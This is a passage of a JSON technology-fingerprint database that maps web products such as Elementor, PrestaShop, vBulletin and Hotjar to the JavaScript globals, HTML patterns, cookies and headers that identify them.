Design":{"js":["antd.version"],"html":["\u003c[^\u003e]*class=\"ant-(?:btn|col|row|layout|breadcrumb|menu|pagination|steps|select|cascader|checkbox|calendar|form|input-number|input|mention|rate|radio|slider|switch|tree-select|time-picker|transfer|upload|avatar|badge|card|carousel|collapse|list|popover|tooltip|table|tabs|tag|timeline|tree|alert|modal|message|notification|progress|popconfirm|spin|anchor|back-top|divider|drawer)","\u003ci class=\"anticon anticon-"]},"Flowbite":{"implies":["Tailwind CSS"]},"GoJS":{"js":["go.version","go.graphobject"]},"AngularDart":{"js":["ngtestabilityregistries"],"implies":["Dart"]},"Koha":{"js":["koha"],"html":["\u003cinput name=\"koha_login_context\" value=\"intranet\" type=\"hidden\"\u003e","\u003ca href=\"/cgi-bin/koha/"],"meta":{"generator":["^koha ([\\d.]+)$\\;version:\\1"]},"implies":["Perl"]},"OutTheBoxThemes Panoramic":{},"Webgains":{"js":["itclkq"]},"GrocerKey":{},"MobX":{"js":["__mobxglobal","__mobxglobals","__mobxinstancecount"]},"GoDaddy Lyrical":{},"SevenRooms":{"js":["sevenroomswidget"]},"Visely":{"js":["visely.recommendationsapi","viselycartproductids","viselypage"]},"Edgio App Platform":{"cookies":{"layer0_eid":"","layer0_bucket":"","layer0_destination":""},"js":["layer0.metrics"],"headers":{"x-0-status":"","x-0-t":"","x-0-version":"^\\d+ ([\\d.]+) \\;version:\\1"}},"Corebine":{"js":["corebine"]},"Stack Analytix":{"js":["stackanalysis"]},"Fourthwall":{"js":["fourthwallanalytics","fourthwalltheme"],"meta":{"version":["^(.+)$\\;version:\\1\\;confidence:0"]}},"Azure CDN":{"headers":{"x-ec-debug":"","server":"^(?:ecacc|ecs|ecd)"},"implies":["Azure"]},"Twenty Ten":{},"SiteOrigin Widgets Bundle":{},"Moon":{},"MysteryThemes News Portal Lite":{},"Getsitecontrol":{},"Pico":{"js":["pico"]},"Materialize CSS":{"html":["\u003clink[^\u003e]* href=\"[^\"]*materialize(?:\\.min)?\\.css"]},"Chevereto":{"js":["chevereto.version"],"meta":{"generator":["chevereto\\s(?:[\\d\\.]+)"]},"implies":["PHP"]},"ShippyPro":{"js":["shippyproreturnform"]},"Hextom Ultimate Sales Boost":{"js":["hextom_usb","ht_usb.isloaded"],"implies":["Shopify"]},"Jalios":{"meta":{"generator":["jalios"]}},"Google Analytics Enhanced eCommerce":{"js":["gaplugins.ec"],"implies":["Google Analytics","Cart Functionality"]},"jComponent":{"js":["main.version"],"implies":["jQuery"]},"Kiwi Sizing":{"js":["kiwisizing"]},"Virtusize":{},"Chekkit":{"js":["chekkitsettings.togglechat"]},"jsDelivr":{},"Contentful":{"headers":{"x-contentful-request-id":""},"html":["\u003c[^\u003e]+(?:https?:)?//(?:assets|downloads|images|videos)\\.(?:ct?fassets\\.net|contentful\\.com)"]},"Erlang":{"headers":{"server":"erlang( otp/(?:[\\d.abr-]+))?\\;version:\\1"}},"Asendia":{},"Kohana":{"cookies":{"kohanasession":""},"headers":{"x-powered-by":"kohana framework ([\\d.]+)\\;version:\\1"},"implies":["PHP"]},"MaxMind":{},"Jumpseller":{"js":["jumpseller"]},"Helixo UFE":{"js":["ufe.funneldata","ufestore.carttotal"],"implies":["Shopify"]},"Lazada":{"meta":{"aplus-auto-exp":["lzdhome\\.desktop\\."]}},"WordPress VIP":{"headers":{"x-powered-by":"^wordpress vip|wpvip\\.com"},"implies":["WordPress"]},"FirstImpression.io":{"js":["fiprebidanalyticshandler","fi.options"]},"Twenty Sixteen":{},"LangShop":{"js":["langshopconfig","langshopsdk","langshop"],"implies":["Shopify"]},"InstantGeo":{"js":["geojs"]},"UserLike":{"js":["userlike","userlikeinit"]},"ProvenExpert":{},"Sovrn":{"js":["sovrn","sovrn_render"]},"Seal Subscriptions":{"js":["sealsubs.checkout","sealsubscriptions_settings_updated","sealsubsloaded"],"implies":["Shopify"]},"Regiondo":{},"MemberStack":{"cookies":{"memberstack":""},"js":["memberstack"]},"Nextsale":{"js":["nextsaleobject"]},"Clerk.io":{"js":["__clerk_cb_0","__clerk_q"]},"Kartra":{"js":["init_kartra_tracking","kartra_tracking_loaded"]},"WordPress.com":{"headers":{"host-header":"wordpress\\.com"},"implies":["WordPress"]},"aThemes Astrid":{},"Glassbox":{"js":["sessioncamrecorder","sessioncamconfiguration"]},"Oracle Infinity":{},"SalesReps.io":{},"AcuityAds":{"js":["acuityadseventqueue","acuityadspixelkey"],"headers":{"content-security-policy":"\\.acuityplatform\\.com"}},"Genesys Cloud":{"js":["purecloud_webchat_frame_config"]},"Acquia Cloud Platform CDN":{"headers":{"via":"acquia platform cdn (.+)\\;version:\\1"}},"Parcelforce":{},"PhotoShelter":{"implies":["PHP","MySQL","jQuery"]},"AdScale":{"js":["_adscale","adscaleaddtocart","adscaleviewproduct"]},"Tradedoubler":{},"Pardot":{"js":["piaid","picid","pihostname","piprotocol","pitracker"],"headers":{"x-pardot-lb":"","x-pardot-route":"","x-pardot-rsp":""}},"Olark":{"js":["olark","olarkuserdata"]},"Lucky Orange":{"js":["__wtw_lucky_site_id"]},"BEM":{"html":["\u003c[^\u003e]+data-bem"]},"GoDaddy Online Store":{"headers":{"via":"^1\\.1 mysimplestore\\.com$"}},"DirectAdmin":{"headers":{"server":"directadmin daemon v([\\d.]+)\\;version:\\1"},"html":["\u003ca[^\u003e]+\u003edirectadmin\u003c/a\u003e web control panel"],"implies":["PHP","Apache"]},"Theme Freesia Photograph":{},"Admo.tv":{"js":["admo_tt","admo_config"]},"Airship":{},"Eleanor CMS":{"meta":{"generator":["eleanor"]},"implies":["PHP"]},"Fly.io":{"cookies":{"_fly":""},"headers":{"fly-request-id":"","server":"^fly/[\\w]+\\s\\(.*\\)$","via":"^.*\\sfly\\.io$"}},"Cookie Notice":{},"ExtendThemes Mesmerize":{"js":["mesmerizekube","mesmerizedomready","mesmerizefooterparalax","mesmerizemenusticky"]},"Admitad":{"js":["admitad","admitad"]},"Junip":{"js":["juniploaded","webpackchunkjunip_scripts"]},"ownCloud":{"html":["\u003ca href=\"https://owncloud\\.com\" target=\"_blank\"\u003eowncloud inc\\.\u003c/a\u003e\u003cbr/\u003eyour cloud, your data, your way!"],"meta":{"apple-itunes-app":["app-id=543672169"]},"implies":["PHP"]},"Elementor":{"js":["elementorfrontend.getelements"],"html":["\u003cdiv class=(?:\"|')[^\"']*elementor","\u003csection class=(?:\"|')[^\"']*elementor","\u003clink [^\u003e]*href=(?:\"|')[^\"']*elementor/assets","\u003clink [^\u003e]*href=(?:\"|')[^\"']*uploads/elementor/css"]},"The Events Calendar":{"js":["tribecalendar","tribe_l10n_datatables"]},"Ionicons":{"html":["\u003clink[^\u003e]* href=[^\u003e]+ionicons(?:\\.min)?\\.css"]},"Yahoo! Web Analytics":{"js":["ywa"]},"Redis Object Cache":{"html":["\u003c!--\\s+performance optimized by redis object cache"],"implies":["Redis","WordPress"]},"Bootstrap Table":{"html":["\u003clink[^\u003e]+href=\"[^\u003e]*bootstrap-table(?:\\.min)?\\.css"],"implies":["Bootstrap","jQuery"]},"Shopistry":{},"MantisBT":{"html":["\u003cimg[^\u003e]+ alt=\"powered by mantis bugtracker"],"implies":["PHP"]},"BrightInfo":{"js":["_bi_","_biq","bijsurl"]},"Queue-it":{"js":["queueit.javascript.version","queueit_clientside_config"]},"Firepush":{"implies":["Shopify"]},"Translucide":{"implies":["PHP","jQuery"]},"jQTouch":{"js":["jqt"]},"Smartstore":{"cookies":{"smartstore.customer":"","smartstore.visitor":""},"html":["\u003c!--powered by smart[ss]tore","\u003cmeta property=\"sm:pagedata\""],"meta":{"generator":["^smart[ss]tore(.net)? (.+)$\\;version:\\2"]},"implies":["Microsoft ASP.NET"]},"Brightspot":{"headers":{"x-powered-by":"^brightspot$"},"implies":["Java"]},"Wizpay":{},"AiSpeed":{"js":["aispeed_init"],"implies":["Shopify"]},"Visualsoft":{"cookies":{"vscommerce":""},"meta":{"vs_status_checker_version":["\\d+"],"vsvatprices":[]}},"Yieldlab":{},"Tatari":{"js":["tatari"]},"Oracle Dynamic Monitoring Service":{"headers":{"x-oracle-dms-ecid":""}},"Batflat":{"meta":{"generator":["^batflat$"]},"implies":["PHP","SQLite"]},"JET Enterprise":{"headers":{"powered":"jet-enterprise"}},"Omniconvert":{"js":["_omni"]},"SAP":{"headers":{"server":"sap netweaver application server"}},"Formidable Form":{},"Livescale":{"implies":["Shopify"]},"Loqate":{"js":["loqateaccountcode","pca.platform.productlist"]},"ARI Network Services":{},"AmeriCommerce":{"js":["ac.storedomain"]},"web-vitals":{"js":["webvitals"]},"Catberry.js":{"js":["catberry","catberry.version"],"headers":{"x-powered-by":"catberry"},"implies":["Node.js"]},"Bolt Payments":{"js":["boltpopup","bolttrack","bolt_callbacks","boltcheckout"]},"Taiga":{"js":["taigaconfig"],"implies":["Django","AngularJS"]},"Lever":{"headers":{"content-security-policy":"\\.lever\\.co"}},"Intel Active Management Technology":{"headers":{"server":"intel\\(r\\) active management technology(?: ([\\d.]+))?\\;version:\\1"}},"Webflow":{"js":["webflow"],"html":["\u003chtml[^\u003e]+data-wf-site"],"meta":{"generator":["webflow"]}},"PubSubJS":{"js":["pubsub","pubsub.version"]},"Salesforce Audience Studio":{"js":["krux","updatekruxcookie"]},"Botble CMS":{"cookies":{"botble_session":""},"headers":{"cms-version":"^(.+)$\\;version:\\1\\;confidence:0"},"implies":["Laravel"]},"SuperLemon app":{"implies":["WhatsApp Business Chat"]},"SpurIT Loyalty App":{"js":["spurit.loyaltypoints"],"implies":["Shopify"]},"Express":{"headers":{"x-powered-by":"^express(?:$|,)"},"implies":["Node.js"]},"Google Cloud Storage":{"headers":{"x-goog-storage-class":"^\\w+$"},"implies":["Google Cloud"]},"Forte":{},"Blessing Skin":{"js":["blessing.version"],"implies":["Laravel"]},"SEMrush":{"js":["semrush"]},"MTCaptcha":{"js":["mtcaptcha.getverifiedtoken","mtcaptchaconfig.sitekey"]},"Snipcart":{"cookies":{"snipcart-cart":""}},"AFThemes CoverNews":{},"vBulletin":{"cookies":{"bblastvisit":"","bbsessionhash":"","bblastactivity":""},"js":["vbulletin"],"html":["\u003cdiv id=\"copyright\"\u003epowered by vbulletin"],"meta":{"generator":["vbulletin ?([\\d.]+)?\\;version:\\1"]},"implies":["PHP"]},"Algolia":{"cookies":{"_algolia":""},"js":["algoliasearch","__global__.algolia","__next_data__.props.pageprops.appsettings.algolia_app_id","__algolia","algoliasearch.version"],"headers":{"content-security-policy":"\\.algolia"}},"Wurfl":{"js":["wurfl"]},"Yottaa":{"meta":{"x-yottaa-metrics":[],"x-yottaa-optimizations":[]}},"Avada Boost Sales":{"js":["avada_bs_last_update"]},"Kooomo":{"meta":{"generator":["kooomo(?: v([\\d.]+))?\\;version:\\1"]},"implies":["PHP","MySQL"]},"Pinterest Conversion Tag":{"js":["pintrk"]},"Buildertrend":{},"BoldGrid":{"html":["\u003clink rel=[\"']stylesheet[\"'] [^\u003e]+boldgrid","\u003clink rel=[\"']stylesheet[\"'] [^\u003e]+post-and-page-builder","\u003clink[^\u003e]+s\\d+\\.boldgrid\\.com"]},"Stage Try":{"js":["stage_cart_change_events","stage_cart_total_price"]},"Dropbox":{},"TYPO3 CMS":{"html":["\u003clink[^\u003e]+ href=\"/?typo3(?:conf|temp)/","\u003cimg[^\u003e]+ src=\"/?typo3(?:conf|temp)/","\u003c!--\n\tthis website is powered by typo3"],"meta":{"generator":["typo3\\s+(?:cms\\s+)?(?:[\\d.]+)?(?:\\s+cms)?"]},"implies":["PHP"]},"Zeotap":{},"Make-Sense":{},"BittAds":{"js":["bitt"]},"Keptify":{"js":["keptify_base_url","_keptify.version"]},"Riot":{"js":["riot"]},"jQuery Modal":{"implies":["jQuery"]},"Allyable":{},"Provide Support":{},"BuddyPress":{},"Hetzner":{"headers":{"x-powered-by":"hetzner"}},"Xonic":{"html":["powered by \u003ca href=\"http://www\\.xonic-solutions\\.de/index\\.php\" target=\"_blank\"\u003exonic-solutions shopsoftware\u003c/a\u003e"],"meta":{"keywords":["xonic-solutions"]}},"GoStats":{"js":["_go_track_src","go_msie","_gostatsrun"]},"Hashnode":{},"Ninja Forms":{"js":["nfforms"]},"Java Servlet":{"headers":{"x-powered-by":"servlet(?:\\/([\\d.]+))?\\;version:\\1"},"implies":["Java"]},"Target2Sell":{},"Azure Monitor":{"headers":{"content-security-policy":"js\\.monitor\\.azure\\.com"},"implies":["Azure"]},"Node.js":{},"Skimlinks":{"js":["__skim_js_global__","addskimlinks","skimlinksapi"]},"Accessibly":{"js":["accessibilitywidget.name"]},"Errorception":{"js":["_errs"]},"Hotaru CMS":{"cookies":{"hotaru_mobile":""},"meta":{"generator":["hotaru cms"]},"implies":["PHP"]},"ShoutOut":{},"Exhibit":{"js":["exhibit","exhibit.version"]},"Rezgo":{},"LottieFiles":{},"With Reach":{},"PopularFX":{},"Zend":{"cookies":{"zendserversessid":""},"headers":{"x-powered-by":"zend(?:server)?(?:[\\s/]?([0-9.]+))?\\;version:\\1"}},"Rewardful":{"js":["rewardful"]},"FullStory":{"js":["fs.clearusercookie"]},"Shop Pay Installments":{"implies":["Affirm","Shop Pay"]},"\u003cmodel-viewer\u003e":{},"stores.jp":{"js":["stores_jp"],"implies":["Visa","Mastercard"]},"FlagSmith":{"js":["flagsmith"]},"Noddus":{},"StackPath":{"headers":{"x-backend-server":"hosting\\.stackcp\\.net$","x-provided-by":"^stackcdn(?: ([\\d.]+))?\\;version:\\1"}},"Pure Chat":{"js":["pcwidget","purechatapi"]},"SUSE":{"headers":{"server":"suse(?:/?\\s?-?([\\d.]+))?\\;version:\\1","x-powered-by":"suse(?:/?\\s?-?([\\d.]+))?\\;version:\\1"}},"JobberBase":{"js":["jobber"],"meta":{"generator":["jobberbase"]},"implies":["PHP"]},"Ruby Receptionists":{"js":["rubyapi"]},"Borderfree":{"cookies":{"bfx.country:":"^\\w+$","bfx.language":"^\\w+$","bfx.loglevel":"^\\w+$","bfx.apikey:":"^[\\w\\d-]+$"},"js":["bfx._apikey","bfx._brand"]},"NetSuite":{"cookies":{"ns_ver":""}},"Thinkific":{"cookies":{"_thinkific_session":""},"js":["thinkific","thinkificanalytics"]},"Kadence WP Kadence":{"js":["kadence","kadenceconfig"]},"MoEngage":{"js":["moengage_api_key","moengage","downloadmoengage","moengage_object"]},"Four":{"js":["four"]},"MachoThemes NewsMag":{},"Rickshaw":{"js":["rickshaw"],"implies":["D3"]},"Zakra":{"js":["zakrafrontend","zakranavhelper.dimension"]},"Akamai Bot Manager":{"cookies":{"bm_sz":"","ak_bmsc":"","bm_sv":""},"implies":["Akamai"]},"Pace":{"js":["pacepay"]},"Chili Piper":{"js":["chilipiper"]},"Cozy AntiTheft":{"js":["cozyecoadnsua"],"implies":["Shopify"]},"UpSellit":{"js":["usi_analytics","usi_app","usi_commons","usi_cookies"]},"Strato":{},"EthicalAds":{},"phpPgAdmin":{"html":["(?:\u003ctitle\u003ephppgadmin\u003c/title\u003e|\u003cspan class=\"appname\"\u003ephppgadmin)"],"implies":["PHP"]},"Fbits":{"js":["fbits"]},"BiteSpeed":{},"DocFX":{"meta":{"docfx:navrel":["toc.html"],"docfx:tocrel":["toc.html"],"generator":["docfx\\s([\\d\\.]+)\\;version:\\1"]}},"eWAY Payments":{"html":["\u003cimg [^\u003e]*src=\"[^/]*//[^/]*eway\\.com"]},"PDF.js":{"js":["_pdfjscompatibilitychecked","pdfjs-dist/build/pdf.version","pdfjsdistbuildpdf.version","pdfjslib.version","pdfjs","pdfjs.version"],"html":["\u003c\\/div\u003e\\s*\u003c!-- outercontainer --\u003e\\s*\u003cdiv\\s*id=\"printcontainer\"\u003e\u003c\\/div\u003e"]},"Sympa":{"html":["\u003ca href=\"https?://www\\.sympa\\.org\"\u003e\\s*powered by sympa\\s*\u003c/a\u003e"],"meta":{"generator":["^sympa$"]},"implies":["Perl"]},"db-ip":{"js":["env.dbip"]},"Builder.io":{},"Modernizr":{"js":["modernizr._version"]},"Norton Shopping Guarantee":{"js":["do_norton_shopping"],"implies":["Cart Functionality"]},"Nicepage":{"js":["_npaccordioninit","_npdialogsinit"],"meta":{"generator":["nicepage\\s([\\d\\.]+)\\;version:\\1"]}},"KeyCDN":{"headers":{"server":"^keycdn-engine$"}},"Adally":{},"ClustrMaps Widget":{},"Appointy":{},"LayoutHub":{"implies":["Shopify"]},"Quicklink":{"js":["drupalsettings.quicklink","quicklink"]},"Index Exchange":{},"Wangsu":{"js":["__cdnroute","playurl.wangsu"]},"CityMail":{},"Profitwell":{"js":["profitwell"]},"Adverticum":{},"Strapi":{"headers":{"x-powered-by":"^strapi"}},"OpenStreetMap":{},"Projesoft":{},"Turbolinks":{"js":["turbolinks"]},"Bubble":{"js":["_bubble_page_load_data","bubble_environment","bubble_hostname_modifier","bubble_version"],"headers":{"x-bubble-capacity-limit":"","x-bubble-capacity-used":"","x-bubble-perf":""},"implies":["Node.js"]},"ePages":{"js":["epages"],"headers":{"x-epages-requestid":""}},"RequireJS":{"js":["requirejs.version"]},"Apptus":{"cookies":{"apptus.sessionkey":"","apptus.customerkey":""},"js":["apptusesales","apptusconfig","apptusdebug"]},"Sana Commerce":{"js":["sana.ui"]},"MATORI.NET":{"headers":{"x-powered-by":"matori.net"},"implies":["OpenResty"]},"Gauges":{"cookies":{"_gauges_":""},"js":["_gauges"]},"Customily":{"js":["customily.sticky"]},"Adobe Audience Manager":{"cookies":{"demdex":"","aam_uuid":""}},"Java":{"cookies":{"jsessionid":""}},"Mastercard":{},"Scalefast":{},"UserZoom":{},"ManyContacts":{},"WidgetWhats":{"js":["wwwa_loaded"]},"AdRoll CMP System":{"js":["__adroll_consent","__adroll_consent_is_gdpr"]},"Milestone CMS":{"meta":{"generator":["^milestone\\scms\\s([\\d\\.]+)$\\;version:\\1"]},"implies":["Microsoft ASP.NET"]},"Mittwald":{},"Module Federation":{"implies":["webpack"]},"CDN77":{"headers":{"server":"^cdn77-turbo$"}},"Theme Horse Attitude":{},"Tabby":{"js":["tabby","tabbypromo"]},"Billbee":{},"Gravatar":{"js":["gravatar"],"html":["\u003c[^\u003e]+gravatar\\.com/avatar/"]},"MyWebsite Creator":{"implies":["Duda"]},"MAAK":{"meta":{"author":["^maak$"]}},"Shoprunner":{"js":["_shoprunner_com","_shoprunner_com.version"]},"ThemeGrill Radiate":{"js":["radiatescriptparam"]},"LinkSmart":{"js":["ls_json","linksmart","_mb_site_guid"]},"Digital Showroom":{},"iPresta":{"meta":{"designer":["ipresta"]},"implies":["PHP","PrestaShop"]},"HelpDocs":{"js":["hdanalytics","hdutils","hd_instant_search"]},"Indy":{"headers":{"server":"indy(?:/([\\d.]+))?\\;version:\\1"}},"Phoenix Site":{"cookies":{"phoenix_p_session":""},"js":["phxsite.pages_version"]},"Commanders Act TrustCommander":{},"Site Kit":{"meta":{"generator":["^site kit by google ?([\\d.]+)?\\;version:\\1"]}},"Seravo":{"headers":{"x-powered-by":"^seravo"},"implies":["WordPress"]},"Accessible360":{},"SteelHouse":{},"T-Soft":{"html":["\u003ca href=\"http://www\\.tsoft\\.com\\.tr\" target=\"_blank\" title=\"t-soft e-ticaret sistemleri\"\u003e"]},"Yandex.Metrika":{"js":["yandex_metrika"]},"Virtuoso":{"headers":{"server":"virtuoso/?([0-9.]+)?\\;version:\\1"},"meta":{"copyright":["^copyright \u0026copy; \\d{4} openlink software"],"keywords":["^openlink virtuoso sparql"]}},"eSSENTIAL Accessibility":{},"Zipkin":{"headers":{"x-b3-traceid":"","x-b3-flags":"","x-b3-parentspanid":"","x-b3-sampled":"","x-b3-spanid":""}},"Gogs":{"cookies":{"i_like_gogits":""},"html":["\u003cdiv class=\"ui left\"\u003e\\n\\s+© \\d{4} gogs version: ([\\d.]+) page:\\;version:\\1","\u003cbutton class=\"ui basic clone button\" id=\"repo-clone-ssh\" data-link=\"gogs@"],"meta":{"keywords":["go, git, self-hosted, gogs"]},"implies":["Go","Macaron"]},"mod_fastcgi":{"headers":{"server":"mod_fastcgi(?:/([\\d.]+))?\\;version:\\1"},"implies":["Apache"]},"Zanox":{"js":["zanox"],"html":["\u003cimg [^\u003e]*src=\"[^\"]+ad\\.zanox\\.com"]},"AMP for WordPress":{"meta":{"generator":["^amp plugin v(\\d+\\.\\d+.*)$\\;version:\\1"]},"implies":["AMP"]},"Azion":{"headers":{"server":"^azion "}},"DivideBuy":{"js":["display_dividebuy_modal"]},"Contabo":{},"Tallentor Widget":{"cookies":{"tallentor_widget":""}},"Phusion Passenger":{"headers":{"server":"phusion passenger ([\\d.]+)\\;version:\\1","x-powered-by":"phusion passenger(?:\\(r\\))? ?([\\d.]+)?\\;version:\\1"}},"Instatus":{},"scrollreveal":{"js":["scrollreveal().version"],"html":["\u003c[^\u003e]+data-sr(?:-id)"]},"LoyaltyLion":{"js":["loyaltylion.version"]},"MyWebsite Now":{"meta":{"generator":["mywebsite now"]},"implies":["React","Node.js","GraphQL"]},"PushEngage":{},"Ideasoft":{},"Tangled Network":{"headers":{"x-hosting-provider":"tangled network"}},"Volusion":{"js":["volusion"],"html":["\u003clink [^\u003e]*href=\"[^\"]*/vspfiles/\\;version:1","\u003cbody [^\u003e]*data-vn-page-name\\;version:2"]},"ELOG":{"html":["\u003ctitle\u003eelog logbook selection\u003c/title\u003e"]},"Atome":{"js":["atomewidget"]},"SolidPixels":{"meta":{"web_author":["^solidpixels"]},"implies":["React"]},"LiveJournal":{},"IPInfoDB":{},"Jive":{"headers":{"x-jsl":"","x-jive-flow-id":"","x-jive-request-id":"","x-jive-chrome-wrapped":"","x-jive-user-id":""}},"ThemeZee Poseidon":{"js":["poseidonscreenreadertext"]},"Convertr":{"meta":{"author":["^convertr commerce$"]},"implies":["PHP","MySQL","Vue.js","Nuxt.js","Amazon Web Services"]},"Spring":{"headers":{"x-application-context":""},"implies":["Java"]},"Freshop":{"js":["freshop","freshopinitialized"],"meta":{"author":["^freshop, inc\\.$"]}},"Twenty Fourteen":{},"enduro.js":{"headers":{"x-powered-by":"^enduro\\.js"},"implies":["Node.js"]},"Classeh":{"meta":{"author":["^fanavar\\.org$"]},"implies":["PHP","React","Python"]},"LoginRadius":{"js":["loginradius","loginradiusdefaults","loginradiussdk","loginradiusutility"]},"Snowplow Analytics":{"cookies":{"_sp_id":"","sp":"\\;confidence:50"},"js":["globalsnowplownamespace","snowplow"]},"JavaServer Faces":{"headers":{"x-powered-by":"jsf(?:/([\\d.]+))?\\;version:\\1"},"implies":["Java"]},"Tail":{},"Pure CSS":{"html":["\u003clink[^\u003e]+(?:([\\d.])+/)?pure(?:-min)?\\.css\\;version:\\1","\u003cdiv[^\u003e]+class=\"[^\"]*pure-u-(?:sm-|md-|lg-|xl-)?\\d-\\d"]},"Woltlab Community Framework":{"implies":["PHP"]},"Trbo":{"cookies":{"trbo_session":"^(?:[\\d]+)$","trbo_usr":"^(?:[\\d\\w]+)$"},"js":["_trbo","_trbo_start","_trboq"]},"Talkable":{"js":["talkable.config.version"]},"Contently":{"js":["_contently.siteid"]},"Adobe Dynamic Media Classic":{"headers":{"content-security-policy":"\\.scene7\\.com"}},"Meeting Scheduler":{},"Mono":{"headers":{"x-powered-by":"mono"}},"Adobe Target":{"js":["adobe.target","adobe.target.version"]},"Nudgify":{"js":["nudgify.cart"]},"Xserver":{},"Google Call Conversion Tracking":{"js":["_googcalltrackingimpl","google_wcc_status"]},"TeamCity":{"html":["\u003cspan class=\"versiontag\"\u003e\u003cspan class=\"vword\"\u003eversion\u003c/span\u003e ([\\d\\.]+)\\;version:\\1"],"meta":{"application-name":["teamcity"]},"implies":["Apache Tomcat","Java","jQuery","Moment.js","Prototype","React","Underscore.js"]},"HappyFox Helpdesk":{},"Woopra":{},"Business Catalyst":{"html":["\u003c!-- bc_obnw --\u003e"]},"Partytown":{"js":["partytown.lib"]},"Sucuri":{"headers":{"x-sucuri-cache:":"","x-sucuri-id":""}},"AT Internet XiTi":{"js":["xt_click"]},"Isotope":{"js":["isotope","init_isotope"]},"Zmags Creator":{"js":["__zmags"]},"Iterable":{"js":["iterableanalytics"]},"Tidio":{"js":["tidiochatapi"]},"Sellacious":{"js":["sellaciousviewcartaio"],"implies":["Joomla"]},"Shaka Player":{"js":["shaka.player.version"]},"Emarsys":{"js":["scarab","scarabqueue"]},"PixelFed":{"implies":["Laravel"]},"ThemeZee Donovan":{"js":["donovanscreenreadertext","donovan_menu_title"]},"RackCache":{"headers":{"x-rack-cache":""},"implies":["Ruby"]},"DoubleClick Campaign Manager (DCM)":{},"AWStats":{"meta":{"generator":["awstats ([\\d.]+(?: \\(build [\\d.]+\\))?)\\;version:\\1"]},"implies":["Perl"]},"CakePHP":{"cookies":{"cakephp":""},"meta":{"application-name":["cakephp"]},"implies":["PHP"]},"Loja Mestre":{"meta":{"webmaster":["www\\.lojamestre\\.\\w+\\.br"]}},"PWA Studio":{"js":["__fetchlocaledata__","fetchrootcomponent"]},"SpurIT Recurring Payments App":{"js":["spurit.recurringinvoices"],"implies":["Shopify"]},"AOS":{"js":["aos.refreshhard","aos.init","aos.refresh"]},"SeedProd Coming Soon":{},"Avada AVASHIP":{"js":["avada_fsb.bars"]},"Trix":{"js":["trix.version"]},"Strikingly":{"html":["\u003c!-- powered by strikingly\\.com"]},"Reddit":{"js":["reddit"],"html":["(?:\u003ca[^\u003e]+powered by reddit|powered by \u003ca[^\u003e]+\u003ereddit\u003c)"],"implies":["Python"]},"EasyStore":{"js":["easystore"]},"Fontify":{},"PrestaShop":{"cookies":{"prestashop":""},"js":["freeproducttranslation","prestashop","pricedisplaymethod","pricedisplayprecision","rcanalyticsevents.eventprestashopcheckout"],"headers":{"powered-by":"^prestashop$"},"html":["powered by \u003ca\\s+[^\u003e]+\u003eprestashop","\u003c!-- /block [a-z ]+ module (?:header|top)?\\s?--\u003e","\u003c!-- /module block [a-z ]+ --\u003e"],"meta":{"generator":["prestashop"]},"implies":["PHP","MySQL"]},"AfterBuy":{"js":["afterbuystring"]},"Monaco Editor":{"js":["monaco.editor","monacoenvironment"],"css":["\\.monaco-editor"]},"Okendo":{"js":["okereviewswidgetoninit","okewidgetcontrolinit","okendoreviews"],"implies":["Shopify"]},"Skai":{"js":["ktag_constants"]},"Inventrue":{"meta":{"author":["^inventrue, llc.$"]}},"Boxtal":{},"Platform.sh":{"headers":{"x-platform-cluster":"","x-platform-processor":"","x-platform-router":"","x-platform-server":""}},"Cloverly":{"js":["removecloverly"]},"HubSpot CMS Hub":{"headers":{"x-hs-hub-id":"","x-powered-by":"hubspot"},"meta":{"generator":["hubspot"]},"implies":["HubSpot"]},"Lootly":{"js":["lootly.config","lootlywidgetinit"]},"Brownie":{"headers":{"x-powered-by":"brownie"},"implies":["PHP","MySQL","Amazon Web Services","Bootstrap","jQuery"]},"Reinvigorate":{"js":["reinvigorate"]},"AWS WAF Captcha":{"headers":{"x-amzn-waf-action":"^captcha$"},"implies":["Amazon Web Services"]},"Website Creator":{"meta":{"generator":["website creator by hosttech"],"wsc_rendermode":[]},"implies":["PHP","MySQL","Vue.js"]},"Bokeh":{"js":["bokeh.version","bokeh"],"implies":["Python"]},"mod_dav":{"headers":{"server":"\\b(?:mod_)?dav\\b(?:/([\\d.]+))?\\;version:\\1"},"implies":["Apache"]},"Nexive":{},"Xitami":{"headers":{"server":"xitami(?:/([\\d.]+))?\\;version:\\1"}},"KISSmetrics":{"js":["km_cookie_domain"]},"Drupal Commerce":{"html":["\u003c[^\u003e]+(?:id=\"block[_-]commerce[_-]cart[_-]cart|class=\"commerce[_-]product[_-]field)"],"implies":["Drupal"]},"basket.js":{"js":["basket.isvaliditem"]},"Xeora":{"headers":{"server":"xeoraengine","x-powered-by":"xeoracube"},"html":["\u003cinput type=\"hidden\" name=\"_sys_bind_\\d+\" id=\"_sys_bind_\\d+\" /\u003e"],"implies":["Microsoft ASP.NET"]},"Avada Size Chart":{},"Moneris Payment Gateway":{"js":["wc_moneris_hosted_tokenization_params"],"implies":["Moneris","WooCommerce"]},"Atlassian Confluence":{"headers":{"x-confluence-request-time":""},"meta":{"confluence-request-time":[]},"implies":["Java"]},"Easy Hide PayPal":{"implies":["Shopify"]},"Darwin":{"headers":{"server":"darwin","x-powered-by":"darwin"}},"i30con":{},"CareCart":{"implies":["Shopify"]},"Axeptio":{"js":["axeptiosettings","axeptiosdk"]},"Booksy":{"js":["booksy"]},"XAMPP":{"html":["\u003ctitle\u003exampp(?: version ([\\d\\.]+))?\u003c/title\u003e\\;version:\\1"],"meta":{"author":["kai oswald seidler\\;confidence:10"]},"implies":["Apache","MySQL","PHP","Perl"]},"In Cart Upsell \u0026 Cross-Sell":{},"Zozo":{"meta":{"generator":["zozo ecommerce"]},"implies":["PHP","MySQL"]},"Loadify":{"implies":["Shopify"]},"Globo Form Builder":{"implies":["Shopify"]},"Intercom":{"js":["intercom"]},"Tyslo EasySell":{"js":["opentysloform","tysloapplydiscount","tysloconfigversion","tysloeasysellconfig"],"implies":["Shopify"]},"Leaflet platform":{"implies":["Shopify"]},"SQLite":{},"SmartRecruiters":{},"Blueknow":{"js":["blueknow","blueknowtracker"]},"Adobe Analytics":{"js":["s_c_il.4.constructor.name","s_c_il.5._c","s_c_il.5.constructor.name","s_c_il.0.constructor.name","s_c_il.2._c","s_c_il.2.constructor.name","s_c_il.3._c","s_c_il.4._c","s_c_il.0._c","s_c_il.1._c","s_c_il.1.constructor.name","s_c_il.3.constructor.name"]},"Hotjar":{"js":["hotleadfactory","hotleadcontroller","hj.apiurlbase"]},"Conversant Consent Tool":{"js":["conversant"]},"Cloudways":{"headers":{"cache-provider":"cloudways-cache-de"}},"Deta":{"headers":{"server":"^deta$"}},"Yodel":{},"Squiz Matrix":{"headers":{"x-powered-by":"squiz 